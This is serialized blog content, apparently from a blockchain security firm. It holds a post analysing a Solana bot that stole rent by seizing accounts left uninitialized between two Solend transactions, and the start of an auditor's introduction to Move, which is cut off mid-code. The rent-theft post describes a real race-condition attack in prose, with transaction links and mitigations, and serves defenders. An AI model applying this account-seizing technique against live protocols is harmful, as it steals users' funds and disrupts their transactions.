ecosystem.",{"type":25,"tag":4349,"props":6874,"children":6875},{},[6876],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":6878},[6879,6880,6881,6882],{"id":42,"depth":226,"text":45},{"id":5424,"depth":226,"text":5427},{"id":5730,"depth":226,"text":5733},{"id":6817,"depth":226,"text":6820},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":6887,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":6888,"description":6889,"image":6890,"date":6894,"isFeatured":17,"onBlogPage":17,"tags":6895,"body":6896,"_type":4371,"_id":7222,"_source":4373,"_file":7223,"_stem":7224,"_extension":4376},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":6891,"width":6892,"height":6893},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[4388,4389],{"type":22,"children":6897,"toc":7215},[6898,6903,6909,6914,6919,6924,6930,6943,6992,7023,7032,7037,7042,7047,7053,7066,7082,7087,7092,7107,7111,7116,7131,7138,7143,7153,7160,7164,7169,7175,7180,7185,7190,7196,7201],{"type":25,"tag":34,"props":6899,"children":6900},{},[6901],{"type":31,"value":6902},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":25,"tag":26,"props":6904,"children":6906},{"id":6905},"background",[6907],{"type":31,"value":6908},"Background",{"type":25,"tag":34,"props":6910,"children":6911},{},[6912],{"type":31,"value":6913},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":25,"tag":34,"props":6915,"children":6916},{},[6917],{"type":31,"value":6918},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":25,"tag":34,"props":6920,"children":6921},{},[6922],{"type":31,"value":6923},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":25,"tag":26,"props":6925,"children":6927},{"id":6926},"the-exploit",[6928],{"type":31,"value":6929},"The Exploit",{"type":25,"tag":34,"props":6931,"children":6932},{},[6933,6935,6941],{"type":31,"value":6934},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":25,"tag":115,"props":6936,"children":6938},{"className":6937},[],[6939],{"type":31,"value":6940},"init_reserve",{"type":31,"value":6942}," function, which creates 6 new accounts to store data about the reserve:",{"type":25,"tag":6944,"props":6945,"children":6946},"ol",{},[6947,6953,6958,6963,6974,6979],{"type":25,"tag":6948,"props":6949,"children":6950},"li",{},[6951],{"type":31,"value":6952},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":25,"tag":6948,"props":6954,"children":6955},{},[6956],{"type":31,"value":6957},"reserve liquidity token account - holds deposited tokens",{"type":25,"tag":6948,"props":6959,"children":6960},{},[6961],{"type":31,"value":6962},"fee receiver token account - account which will receive origination fees on borrows",{"type":25,"tag":6948,"props":6964,"children":6965},{},[6966,6968],{"type":31,"value":6967},"reserve collateral mint account - deposit receipt token, also known as ",{"type":25,"tag":115,"props":6969,"children":6971},{"className":6970},[],[6972],{"type":31,"value":6973},"cTokens",{"type":25,"tag":6948,"props":6975,"children":6976},{},[6977],{"type":31,"value":6978},"reserve collateral token account - holds users' collateral tokens",{"type":25,"tag":6948,"props":6980,"children":6981},{},[6982,6984,6990],{"type":31,"value":6983},"creator collateral token account - creator's ",{"type":25,"tag":115,"props":6985,"children":6987},{"className":6986},[],[6988],{"type":31,"value":6989},"cToken",{"type":31,"value":6991}," account",{"type":25,"tag":34,"props":6993,"children":6994},{},[6995,6997,7002,7004,7009,7011,7016,7018],{"type":31,"value":6996},"Account creation and initialization are ",{"type":25,"tag":65,"props":6998,"children":6999},{},[7000],{"type":31,"value":7001},"usually",{"type":31,"value":7003}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":25,"tag":115,"props":7005,"children":7007},{"className":7006},[],[7008],{"type":31,"value":6940},{"type":31,"value":7010}," is ",{"type":25,"tag":65,"props":7012,"children":7013},{},[7014],{"type":31,"value":7015},"supposed",{"type":31,"value":7017}," to look like:\n",{"type":25,"tag":127,"props":7019,"children":7022},{"src":7020,"alt":7021},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":25,"tag":34,"props":7024,"children":7025},{},[7026,7028],{"type":31,"value":7027},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":25,"tag":127,"props":7029,"children":7031},{"src":7030,"alt":7021},"/posts/rent-thief/attacktransac.png",[],{"type":25,"tag":34,"props":7033,"children":7034},{},[7035],{"type":31,"value":7036},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":25,"tag":34,"props":7038,"children":7039},{},[7040],{"type":31,"value":7041},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":25,"tag":34,"props":7043,"children":7044},{},[7045],{"type":31,"value":7046},"Despite this lost cost, this is pretty annoying...",{"type":25,"tag":26,"props":7048,"children":7050},{"id":7049},"example",[7051],{"type":31,"value":7052},"Example",{"type":25,"tag":34,"props":7054,"children":7055},{},[7056,7058,7065],{"type":31,"value":7057},"Let's take a look at ",{"type":25,"tag":71,"props":7059,"children":7062},{"href":7060,"rel":7061},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[75],[7063],{"type":31,"value":7064},"a real attack",{"type":31,"value":80},{"type":25,"tag":34,"props":7067,"children":7068},{},[7069,7076,7078],{"type":25,"tag":71,"props":7070,"children":7073},{"href":7071,"rel":7072},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[75],[7074],{"type":31,"value":7075},"Transaction 1",{"type":31,"value":7077},":\n",{"type":25,"tag":127,"props":7079,"children":7081},{"alt":7,"src":7080},"https://i.imgur.com/xJvIwgc.png",[],{"type":25,"tag":34,"props":7083,"children":7084},{},[7085],{"type":31,"value":7086},"(...more accounts truncated)",{"type":25,"tag":34,"props":7088,"children":7089},{},[7090],{"type":31,"value":7091},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":25,"tag":34,"props":7093,"children":7094},{},[7095,7102,7103],{"type":25,"tag":71,"props":7096,"children":7099},{"href":7097,"rel":7098},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[75],[7100],{"type":31,"value":7101},"Attacker's Transaction",{"type":31,"value":7077},{"type":25,"tag":127,"props":7104,"children":7106},{"alt":7,"src":7105},"https://i.imgur.com/CpSKuL3.png",[],{"type":25,"tag":34,"props":7108,"children":7109},{},[7110],{"type":31,"value":7086},{"type":25,"tag":34,"props":7112,"children":7113},{},[7114],{"type":31,"value":7115},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":25,"tag":34,"props":7117,"children":7118},{},[7119,7126,7127],{"type":25,"tag":71,"props":7120,"children":7123},{"href":7121,"rel":7122},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[75],[7124],{"type":31,"value":7125},"Transaction 2",{"type":31,"value":7077},{"type":25,"tag":127,"props":7128,"children":7130},{"alt":7,"src":7129},"https://i.imgur.com/of0GIdw.png",[],{"type":25,"tag":34,"props":7132,"children":7133},{},[7134],{"type":25,"tag":127,"props":7135,"children":7137},{"alt":7,"src":7136},"https://i.imgur.com/0STSyv8.png",[],{"type":25,"tag":34,"props":7139,"children":7140},{},[7141],{"type":31,"value":7142},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":25,"tag":34,"props":7144,"children":7145},{},[7146,7152],{"type":25,"tag":71,"props":7147,"children":7150},{"href":7148,"rel":7149},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[75],[7151],{"type":31,"value":7101},{"type":31,"value":5997},{"type":25,"tag":34,"props":7154,"children":7155},{},[7156],{"type":25,"tag":127,"props":7157,"children":7159},{"alt":7,"src":7158},"https://i.imgur.com/AmSPdmy.png",[],{"type":25,"tag":34,"props":7161,"children":7162},{},[7163],{"type":31,"value":7086},{"type":25,"tag":34,"props":7165,"children":7166},{},[7167],{"type":31,"value":7168},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":25,"tag":26,"props":7170,"children":7172},{"id":7171},"impact",[7173],{"type":31,"value":7174},"Impact",{"type":25,"tag":34,"props":7176,"children":7177},{},[7178],{"type":31,"value":7179},"Rent-thieving attacks don't steal much money.",{"type":25,"tag":34,"props":7181,"children":7182},{},[7183],{"type":31,"value":7184},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":25,"tag":34,"props":7186,"children":7187},{},[7188],{"type":31,"value":7189},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":25,"tag":26,"props":7191,"children":7193},{"id":7192},"solution",[7194],{"type":31,"value":7195},"Solution",{"type":25,"tag":34,"props":7197,"children":7198},{},[7199],{"type":31,"value":7200},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":25,"tag":34,"props":7202,"children":7203},{},[7204,7206,7213],{"type":31,"value":7205},"As a more permenant solution, Solend implemented ",{"type":25,"tag":71,"props":7207,"children":7210},{"href":7208,"rel":7209},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[75],[7211],{"type":31,"value":7212},"an onchain program",{"type":31,"value":7214}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":226,"depth":226,"links":7216},[7217,7218,7219,7220,7221],{"id":6905,"depth":226,"text":6908},{"id":6926,"depth":226,"text":6929},{"id":7049,"depth":226,"text":7052},{"id":7171,"depth":226,"text":7174},{"id":7192,"depth":226,"text":7195},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":7226,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7227,"description":7228,"author":7229,"image":7230,"date":7234,"isFeatured":17,"onBlogPage":17,"body":7235,"_type":4371,"_id":10760,"_source":4373,"_file":10761,"_stem":10762,"_extension":4376},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":7231,"height":7232,"width":7233},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":22,"children":7236,"toc":10755},[7237,7242,7247,7266,7272,7284,7381,7389,7508,7516,7538,7691,7696,7954,7976,8011,8016,8036,8041,8052,8064,8276,8288,8302,8315,8572,8584,8806,8811,8839,8985,9004,9009,9273,9285,9290,9303,9309,9314,9319,9331,9345,9350,9449,9461,9474,9747,9752,9764,9769,9823,9843,9848,10724,10728,10733,10738,10751],{"type":25,"tag":34,"props":7238,"children":7239},{},[7240],{"type":31,"value":7241},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":25,"tag":34,"props":7243,"children":7244},{},[7245],{"type":31,"value":7246},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":25,"tag":34,"props":7248,"children":7249},{},[7250,7252,7257,7259,7264],{"type":31,"value":7251},"In this piece I'll seek to discuss exactly ",{"type":25,"tag":65,"props":7253,"children":7254},{},[7255],{"type":31,"value":7256},"how",{"type":31,"value":7258}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":25,"tag":65,"props":7260,"children":7261},{},[7262],{"type":31,"value":7263},"structurally",{"type":31,"value":7265}," safer programs.",{"type":25,"tag":26,"props":7267,"children":7269},{"id":7268},"types",[7270],{"type":31,"value":7271},"Types",{"type":25,"tag":34,"props":7273,"children":7274},{},[7275,7277,7283],{"type":31,"value":7276},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":25,"tag":115,"props":7278,"children":7280},{"className":7279},[],[7281],{"type":31,"value":7282},"coin.move",{"type":31,"value":80},{"type":25,"tag":191,"props":7285,"children":7287},{"className":4487,"code":7286,"language":4486,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[7288],{"type":25,"tag":115,"props":7289,"children":7290},{"__ignoreMap":7},[7291,7299,7345,7353,7374],{"type":25,"tag":201,"props":7292,"children":7293},{"class":203,"line":204},[7294],{"type":25,"tag":201,"props":7295,"children":7296},{"style":4497},[7297],{"type":31,"value":7298},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":25,"tag":201,"props":7300,"children":7301},{"class":203,"line":226},[7302,7307,7312,7316,7321,7326,7331,7336,7341],{"type":25,"tag":201,"props":7303,"children":7304},{"style":208},[7305],{"type":31,"value":7306},"  struct",{"type":25,"tag":201,"props":7308,"children":7309},{"style":4925},[7310],{"type":31,"value":7311}," Coin",{"type":25,"tag":201,"props":7313,"children":7314},{"style":220},[7315],{"type":31,"value":1298},{"type":25,"tag":201,"props":7317,"children":7318},{"style":246},[7319],{"type":31,"value":7320},"phantom",{"type":25,"tag":201,"props":7322,"children":7323},{"style":4925},[7324],{"type":31,"value":7325}," CoinType",{"type":25,"tag":201,"props":7327,"children":7328},{"style":220},[7329],{"type":31,"value":7330},"> ",{"type":25,"tag":201,"props":7332,"children":7333},{"style":246},[7334],{"type":31,"value":7335},"has",{"type":25,"tag":201,"props":7337,"children":7338},{"style":246},[7339],{"type":31,"value":7340}," store",{"type":25,"tag":201,"props":7342,"children":7343},{"style":220},[7344],{"type":31,"value":327},{"type":25,"tag":201,"props":7346,"children":7347},{"class":203,"line":278},[7348],{"type":25,"tag":201,"props":7349,"children":7350},{"style":4497},[7351],{"type":31,"value":7352},"      /// Amount of coin this address has.\n",{"type":25,"tag":201,"props":7354,"children":7355},{"class":203,"line":311},[7356,7361,7365,7370],{"type":25,"tag":201,"props":7357,"children":7358},{"style":246},[7359],{"type":31,"value":7360},"      value",{"type":25,"tag":201,"props":7362,"children":7363},{"style":261},[7364],{"type":31,"value":5997},{"type":25,"tag":201,"props":7366,"children":7367},{"style":4925},[7368],{"type":31,"value":7369}," u64",{"type":25,"tag":201,"props":7371,"children":7372},{"style":220},[7373],{"type":31,"value":547},{"type":25,"tag":201,"props":7375,"children":7376},{"class":203,"line":330},[7377],{"type":25,"tag":201,"props":7378,"children":7379},{"style":220},[7380],{"type":31,"value":1178},{"type":25,"tag":34,"props":7382,"children":7383},{},[7384],{"type":25,"tag":65,"props":7385,"children":7386},{},[7387],{"type":31,"value":7388},"aptos",{"type":25,"tag":191,"props":7390,"children":7392},{"className":4487,"code":7391,"language":4486,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[7393],{"type":25,"tag":115,"props":7394,"children":7395},{"__ignoreMap":7},[7396,7404,7454,7471,7501],{"type":25,"tag":201,"props":7397,"children":7398},{"class":203,"line":204},[7399],{"type":25,"tag":201,"props":7400,"children":7401},{"style":4497},[7402],{"type":31,"value":7403},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":25,"tag":201,"props":7405,"children":7406},{"class":203,"line":226},[7407,7411,7415,7419,7423,7428,7432,7436,7441,7445,7450],{"type":25,"tag":201,"props":7408,"children":7409},{"style":208},[7410],{"type":31,"value":7306},{"type":25,"tag":201,"props":7412,"children":7413},{"style":4925},[7414],{"type":31,"value":7311},{"type":25,"tag":201,"props":7416,"children":7417},{"style":220},[7418],{"type":31,"value":1298},{"type":25,"tag":201,"props":7420,"children":7421},{"style":246},[7422],{"type":31,"value":7320},{"type":25,"tag":201,"props":7424,"children":7425},{"style":4925},[7426],{"type":31,"value":7427}," T",{"type":25,"tag":201,"props":7429,"children":7430},{"style":220},[7431],{"type":31,"value":7330},{"type":25,"tag":201,"props":7433,"children":7434},{"style":246},[7435],{"type":31,"value":7335},{"type":25,"tag":201,"props":7437,"children":7438},{"style":246},[7439],{"type":31,"value":7440}," key",{"type":25,"tag":201,"props":7442,"children":7443},{"style":220},[7444],{"type":31,"value":919},{"type":25,"tag":201,"props":7446,"children":7447},{"style":246},[7448],{"type":31,"value":7449},"store",{"type":25,"tag":201,"props":7451,"children":7452},{"style":220},[7453],{"type":31,"value":327},{"type":25,"tag":201,"props":7455,"children":7456},{"class":203,"line":278},[7457,7462,7466],{"type":25,"tag":201,"props":7458,"children":7459},{"style":246},[7460],{"type":31,"value":7461},"      id",{"type":25,"tag":201,"props":7463,"children":7464},{"style":261},[7465],{"type":31,"value":5997},{"type":25,"tag":201,"props":7467,"children":7468},{"style":220},[7469],{"type":31,"value":7470}," UID,\n",{"type":25,"tag":201,"props":7472,"children":7473},{"class":203,"line":311},[7474,7479,7483,7488,7492,7497],{"type":25,"tag":201,"props":7475,"children":7476},{"style":246},[7477],{"type":31,"value":7478},"      balance",{"type":25,"tag":201,"props":7480,"children":7481},{"style":261},[7482],{"type":31,"value":5997},{"type":25,"tag":201,"props":7484,"children":7485},{"style":4925},[7486],{"type":31,"value":7487}," Balance",{"type":25,"tag":201,"props":7489,"children":7490},{"style":220},[7491],{"type":31,"value":1298},{"type":25,"tag":201,"props":7493,"children":7494},{"style":4925},[7495],{"type":31,"value":7496},"T",{"type":25,"tag":201,"props":7498,"children":7499},{"style":220},[7500],{"type":31,"value":1308},{"type":25,"tag":201,"props":7502,"children":7503},{"class":203,"line":330},[7504],{"type":25,"tag":201,"props":7505,"children":7506},{"style":220},[7507],{"type":31,"value":1178},{"type":25,"tag":34,"props":7509,"children":7510},{},[7511],{"type":25,"tag":65,"props":7512,"children":7513},{},[7514],{"type":31,"value":7515},"sui",{"type":25,"tag":34,"props":7517,"children":7518},{},[7519,7521,7528,7530,7536],{"type":31,"value":7520},"Pulling an example from ",{"type":25,"tag":71,"props":7522,"children":7525},{"href":7523,"rel":7524},"https://pontem.network/",[75],[7526],{"type":31,"value":7527},"Pontem Network's",{"type":31,"value":7529}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":25,"tag":115,"props":7531,"children":7533},{"className":7532},[],[7534],{"type":31,"value":7535},"LiquidityPool",{"type":31,"value":7537}," natively embeds this type information into it's fields.",{"type":25,"tag":191,"props":7539,"children":7541},{"className":4487,"code":7540,"language":4486,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[7542],{"type":25,"tag":115,"props":7543,"children":7544},{"__ignoreMap":7},[7545,7553,7617,7647,7676,7684],{"type":25,"tag":201,"props":7546,"children":7547},{"class":203,"line":204},[7548],{"type":25,"tag":201,"props":7549,"children":7550},{"style":4497},[7551],{"type":31,"value":7552},"    /// Liquidity pool with reserves.\n",{"type":25,"tag":201,"props":7554,"children":7555},{"class":203,"line":226},[7556,7561,7566,7570,7574,7579,7583,7587,7592,7596,7600,7605,7609,7613],{"type":25,"tag":201,"props":7557,"children":7558},{"style":208},[7559],{"type":31,"value":7560},"    struct",{"type":25,"tag":201,"props":7562,"children":7563},{"style":4925},[7564],{"type":31,"value":7565}," LiquidityPool",{"type":25,"tag":201,"props":7567,"children":7568},{"style":220},[7569],{"type":31,"value":1298},{"type":25,"tag":201,"props":7571,"children":7572},{"style":246},[7573],{"type":31,"value":7320},{"type":25,"tag":201,"props":7575,"children":7576},{"style":4925},[7577],{"type":31,"value":7578}," X",{"type":25,"tag":201,"props":7580,"children":7581},{"style":220},[7582],{"type":31,"value":919},{"type":25,"tag":201,"props":7584,"children":7585},{"style":246},[7586],{"type":31,"value":7320},{"type":25,"tag":201,"props":7588,"children":7589},{"style":4925},[7590],{"type":31,"value":7591}," Y",{"type":25,"tag":201,"props":7593,"children":7594},{"style":220},[7595],{"type":31,"value":919},{"type":25,"tag":201,"props":7597,"children":7598},{"style":246},[7599],{"type":31,"value":7320},{"type":25,"tag":201,"props":7601,"children":7602},{"style":220},[7603],{"type":31,"value":7604}," LP> ",{"type":25,"tag":201,"props":7606,"children":7607},{"style":246},[7608],{"type":31,"value":7335},{"type":25,"tag":201,"props":7610,"children":7611},{"style":246},[7612],{"type":31,"value":7440},{"type":25,"tag":201,"props":7614,"children":7615},{"style":220},[7616],{"type":31,"value":327},{"type":25,"tag":201,"props":7618,"children":7619},{"class":203,"line":278},[7620,7625,7629,7633,7637,7642],{"type":25,"tag":201,"props":7621,"children":7622},{"style":246},[7623],{"type":31,"value":7624},"        coin_x_reserve",{"type":25,"tag":201,"props":7626,"children":7627},{"style":261},[7628],{"type":31,"value":5997},{"type":25,"tag":201,"props":7630,"children":7631},{"style":4925},[7632],{"type":31,"value":7311},{"type":25,"tag":201,"props":7634,"children":7635},{"style":220},[7636],{"type":31,"value":1298},{"type":25,"tag":201,"props":7638,"children":7639},{"style":4925},[7640],{"type":31,"value":7641},"X",{"type":25,"tag":201,"props":7643,"children":7644},{"style":220},[7645],{"type":31,"value":7646},">,\n",{"type":25,"tag":201,"props":7648,"children":7649},{"class":203,"line":311},[7650,7655,7659,7663,7667,7672],{"type":25,"tag":201,"props":7651,"children":7652},{"style":246},[7653],{"type":31,"value":7654},"        coin_y_reserve",{"type":25,"tag":201,"props":7656,"children":7657},{"style":261},[7658],{"type":31,"value":5997},{"type":25,"tag":201,"props":7660,"children":7661},{"style":4925},[7662],{"type":31,"value":7311},{"type":25,"tag":201,"props":7664,"children":7665},{"style":220},[7666],{"type":31,"value":1298},{"type":25,"tag":201,"props":7668,"children":7669},{"style":4925},[7670],{"type":31,"value":7671},"Y",{"type":25,"tag":201,"props":7673,"children":7674},{"style":220},[7675],{"type":31,"value":7646},{"type":25,"tag":201,"props":7677,"children":7678},{"class":203,"line":330},[7679],{"type":25,"tag":201,"props":7680,"children":7681},{"style":4497},[7682],{"type":31,"value":7683},"        // ...\n",{"type":25,"tag":201,"props":7685,"children":7686},{"class":203,"line":397},[7687],{"type":25,"tag":201,"props":7688,"children":7689},{"style":220},[7690],{"type":31,"value":4861},{"type":25,"tag":34,"props":7692,"children":7693},{},[7694],{"type":31,"value":7695},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":25,"tag":191,"props":7697,"children":7699},{"className":4487,"code":7698,"language":4486,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[7700],{"type":25,"tag":115,"props":7701,"children":7702},{"__ignoreMap":7},[7703,7742,7763,7791,7819,7870,7878,7885],{"type":25,"tag":201,"props":7704,"children":7705},{"class":203,"line":204},[7706,7711,7716,7721,7725,7729,7733,7737],{"type":25,"tag":201,"props":7707,"children":7708},{"style":246},[7709],{"type":31,"value":7710},"      public",{"type":25,"tag":201,"props":7712,"children":7713},{"style":246},[7714],{"type":31,"value":7715}," fun",{"type":25,"tag":201,"props":7717,"children":7718},{"style":246},[7719],{"type":31,"value":7720}," mint",{"type":25,"tag":201,"props":7722,"children":7723},{"style":220},[7724],{"type":31,"value":1298},{"type":25,"tag":201,"props":7726,"children":7727},{"style":4925},[7728],{"type":31,"value":7641},{"type":25,"tag":201,"props":7730,"children":7731},{"style":220},[7732],{"type":31,"value":919},{"type":25,"tag":201,"props":7734,"children":7735},{"style":4925},[7736],{"type":31,"value":7671},{"type":25,"tag":201,"props":7738,"children":7739},{"style":220},[7740],{"type":31,"value":7741},", LP>(\n",{"type":25,"tag":201,"props":7743,"children":7744},{"class":203,"line":226},[7745,7750,7754,7759],{"type":25,"tag":201,"props":7746,"children":7747},{"style":246},[7748],{"type":31,"value":7749},"          pool_addr",{"type":25,"tag":201,"props":7751,"children":7752},{"style":261},[7753],{"type":31,"value":5997},{"type":25,"tag":201,"props":7755,"children":7756},{"style":246},[7757],{"type":31,"value":7758}," address",{"type":25,"tag":201,"props":7760,"children":7761},{"style":220},[7762],{"type":31,"value":547},{"type":25,"tag":201,"props":7764,"children":7765},{"class":203,"line":278},[7766,7771,7775,7779,7783,7787],{"type":25,"tag":201,"props":7767,"children":7768},{"style":246},[7769],{"type":31,"value":7770},"          coin_x",{"type":25,"tag":201,"props":7772,"children":7773},{"style":261},[7774],{"type":31,"value":5997},{"type":25,"tag":201,"props":7776,"children":7777},{"style":4925},[7778],{"type":31,"value":7311},{"type":25,"tag":201,"props":7780,"children":7781},{"style":220},[7782],{"type":31,"value":1298},{"type":25,"tag":201,"props":7784,"children":7785},{"style":4925},[7786],{"type":31,"value":7641},{"type":25,"tag":201,"props":7788,"children":7789},{"style":220},[7790],{"type":31,"value":7646},{"type":25,"tag":201,"props":7792,"children":7793},{"class":203,"line":311},[7794,7799,7803,7807,7811,7815],{"type":25,"tag":201,"props":7795,"children":7796},{"style":246},[7797],{"type":31,"value":7798},"          coin_y",{"type":25,"tag":201,"props":7800,"children":7801},{"style":261},[7802],{"type":31,"value":5997},{"type":25,"tag":201,"props":7804,"children":7805},{"style":4925},[7806],{"type":31,"value":7311},{"type":25,"tag":201,"props":7808,"children":7809},{"style":220},[7810],{"type":31,"value":1298},{"type":25,"tag":201,"props":7812,"children":7813},{"style":4925},[7814],{"type":31,"value":7671},{"type":25,"tag":201,"props":7816,"children":7817},{"style":220},[7818],{"type":31,"value":1308},{"type":25,"tag":201,"props":7820,"children":7821},{"class":203,"line":330},[7822,7827,7831,7835,7839,7844,7848,7853,7857,7861,7866],{"type":25,"tag":201,"props":7823,"children":7824},{"style":220},[7825],{"type":31,"value":7826},"      )",{"type":25,"tag":201,"props":7828,"children":7829},{"style":261},[7830],{"type":31,"value":5997},{"type":25,"tag":201,"props":7832,"children":7833},{"style":4925},[7834],{"type":31,"value":7311},{"type":25,"tag":201,"props":7836,"children":7837},{"style":220},[7838],{"type":31,"value":1298},{"type":25,"tag":201,"props":7840,"children":7841},{"style":4925},[7842],{"type":31,"value":7843},"LP",{"type":25,"tag":201,"props":7845,"children":7846},{"style":220},[7847],{"type":31,"value":7330},{"type":25,"tag":201,"props":7849,"children":7850},{"style":246},[7851],{"type":31,"value":7852},"acquires",{"type":25,"tag":201,"props":7854,"children":7855},{"style":4925},[7856],{"type":31,"value":7565},{"type":25,"tag":201,"props":7858,"children":7859},{"style":220},[7860],{"type":31,"value":919},{"type":25,"tag":201,"props":7862,"children":7863},{"style":4925},[7864],{"type":31,"value":7865},"EventsStore",{"type":25,"tag":201,"props":7867,"children":7868},{"style":220},[7869],{"type":31,"value":327},{"type":25,"tag":201,"props":7871,"children":7872},{"class":203,"line":397},[7873],{"type":25,"tag":201,"props":7874,"children":7875},{"style":4497},[7876],{"type":31,"value":7877},"          // ...\n",{"type":25,"tag":201,"props":7879,"children":7880},{"class":203,"line":437},[7881],{"type":25,"tag":201,"props":7882,"children":7883},{"emptyLinePlaceholder":17},[7884],{"type":31,"value":496},{"type":25,"tag":201,"props":7886,"children":7887},{"class":203,"line":464},[7888,7893,7897,7902,7906,7911,7915,7919,7924,7928,7932,7936,7940,7945,7950],{"type":25,"tag":201,"props":7889,"children":7890},{"style":208},[7891],{"type":31,"value":7892},"          